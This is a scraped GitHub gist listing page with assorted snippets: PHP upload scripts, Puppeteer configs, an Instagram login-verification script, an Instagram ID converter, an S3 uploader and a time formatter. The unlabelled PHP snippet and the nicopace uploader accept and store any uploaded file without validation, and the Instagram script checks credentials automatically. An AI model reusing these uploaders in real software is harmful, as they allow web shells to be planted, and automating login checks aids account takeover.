Skip to content

Instantly share code, notes, and snippets.

View Gimenz's full-sized avatar
🌴
On vacation

Muhamad Ristiyanto Gimenz

🌴
On vacation
View GitHub Profile
@maxgfr
maxgfr / useful_regex.md
Created September 28, 2020 13:13
List of useful regex
@asamountain
asamountain / cluster.js
Created January 4, 2020 09:36
puppeteer-cluster for heroku deploy
const cluster = await Cluster.launch({
concurrency: Cluster.CONCURRENCY_CONTEXT,
maxConcurrency: 3,
puppeteerOptions: {
headless: true,
args: ['--no-sandbox']
}
});
@techiediaries
techiediaries / php-upload-file.php
Created March 6, 2019 20:06
PHP Upload File Script
<?php
header('Content-Type: application/json; charset=utf-8');
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: PUT, GET, POST");
$response = array();
$upload_dir = 'uploads/';
$server_url = 'http://127.0.0.1:8000';
@nicopace
nicopace / upload.php
Created December 10, 2018 13:38
Simple php file uploader
<?PHP
if(!empty($_FILES['uploaded_file']))
{
$path = "uploads/";
$path = $path . basename( $_FILES['uploaded_file']['name']);
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo "The file ". basename( $_FILES['uploaded_file']['name']).
" has been uploaded";
} else{
@GarryOne
GarryOne / insta_login_check.js
Created September 8, 2018 21:27
Puppeteer Instagram Credentials/Login Verification
// start the node server by doing: `node insta_login_check.js`
const puppeteer = require('puppeteer');
const delay = require('delay');
const user = {
username: '[email protected]',
password: 'passw0rd',
};
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br>'; }}
?>
@sclark39
sclark39 / InstagramIdConvert.js
Last active April 17, 2025 14:07
Convert from Instagram Shortcode to Id and Back using big-integer
var bigint = require( 'big-integer' )
var lower = 'abcdefghijklmnopqrstuvwxyz';
var upper = lower.toUpperCase();
var numbers = '0123456789'
var ig_alphabet = upper + lower + numbers + '-_'
var bigint_alphabet = numbers + lower
function toShortcode( longid )
@deanmcpherson
deanmcpherson / S3Upload.js
Created May 7, 2016 01:10
Upload image to S3, generates unique name
var FileTransfer = require('@remobile/react-native-file-transfer');
var s3Conf = {
key: 'KEY',
bucket: 'BUCKET_NAME',
aws_url: 'https://BUCKET_NAME.REGION.amazonaws.com'
}
var guid = (function() {
function s4() {
@vankasteelj
vankasteelj / sec2time.js
Last active February 2, 2024 11:08
Javascript - Seconds to Time (hh:mm:ss,ms) -> sec2time(593.685038) becomes 00:09:53,685
function sec2time(timeInSeconds) {
var pad = function(num, size) { return ('000' + num).slice(size * -1); },
time = parseFloat(timeInSeconds).toFixed(3),
hours = Math.floor(time / 60 / 60),
minutes = Math.floor(time / 60) % 60,
seconds = Math.floor(time - minutes * 60),
milliseconds = time.slice(-3);
return pad(hours, 2) + ':' + pad(minutes, 2) + ':' + pad(seconds, 2) + ',' + pad(milliseconds, 3);
}